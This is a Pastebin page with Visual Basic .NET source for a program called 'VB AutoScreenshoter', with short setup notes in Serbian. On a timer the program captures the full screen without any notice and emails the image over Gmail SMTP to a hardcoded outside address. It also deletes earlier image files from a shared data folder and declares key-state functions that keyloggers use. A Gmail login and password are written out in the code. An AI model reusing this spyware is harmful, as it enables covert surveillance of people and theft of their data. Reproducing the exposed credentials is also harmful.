SHARE
TWEET

VB AutoScreenshoter

MarkoMirkov18 Jan 26th, 2019 504 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Potrebno:
  2. 1 label,2 timera(prvi timer podesiti interval na 1 a drugi na 60.000(1 minut) ili 5000(5 sekundi)kako je i ovde i enabled na true),1 picturebox
  3.  
  4. Imports System.Net.Mail, System.Net, System.IO, System.Diagnostics.Process, System.Management
  5.  
  6. Public Class Form1
  7.     Dim result As Integer
  8.     Dim strin As String = Nothing
  9.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  10.     Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  11.  
  12.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  13.         Try
  14.             For Each foundFile As String In My.Computer.FileSystem.GetFiles(
  15.         My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData,
  16.         Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly, "*.bmp")
  17.  
  18.                 System.IO.File.Delete(foundFile)
  19.             Next
  20.  
  21.  
  22.  
  23.  
  24.         Catch
  25.  
  26.         End Try
  27.  
  28.  
  29.  
  30.     End Sub
  31.     Private Sub sendmail2()
  32.  
  33.         Try
  34.  
  35.             PictureBox1.Image = Nothing
  36.             Label1.Text = Val(Label1.Text) + 1
  37.  
  38.  
  39.             Dim bounds As Rectangle
  40.             Dim screenshot As System.Drawing.Bitmap
  41.             Dim graph As Graphics
  42.             bounds = Screen.PrimaryScreen.Bounds
  43.             screenshot = New Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  44.             graph = Graphics.FromImage(screenshot)
  45.             graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  46.             PictureBox1.Image = screenshot
  47.  
  48.  
  49.  
  50.  
  51.  
  52.             PictureBox1.Image.Save(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label1.Text & ".jpeg"))
  53.             PictureBox1.Image = Nothing
  54.             Dim startupPath As String = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)
  55.             Dim Mail As New MailMessage
  56.             Dim attach As New Attachment(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label1.Text & ".jpeg"))
  57.  
  58.             Mail.Attachments.Add(attach)
  59.  
  60.             Mail.Subject = "Slika ekrana by Marko Mirkov"
  61.             Mail.To.Add("mmirkov2706@gmail.com")
  62.             Mail.From = New MailAddress("testemail27062001@gmail.com")
  63.             Mail.Body = DateAndTime.Now
  64.  
  65.  
  66.  
  67.  
  68.             Dim SMTP As New SmtpClient("smtp.gmail.com")
  69.             SMTP.EnableSsl = True
  70.             SMTP.Credentials = New System.Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
  71.             SMTP.Port = "587"
  72.  
  73.             SMTP.Send(Mail)
  74.             Application.Exit()
  75.  
  76.         Catch
  77.         End Try
  78.     End Sub
  79.  
  80.     Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  81.         sendmail2()
  82.  
  83.     End Sub
  84. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top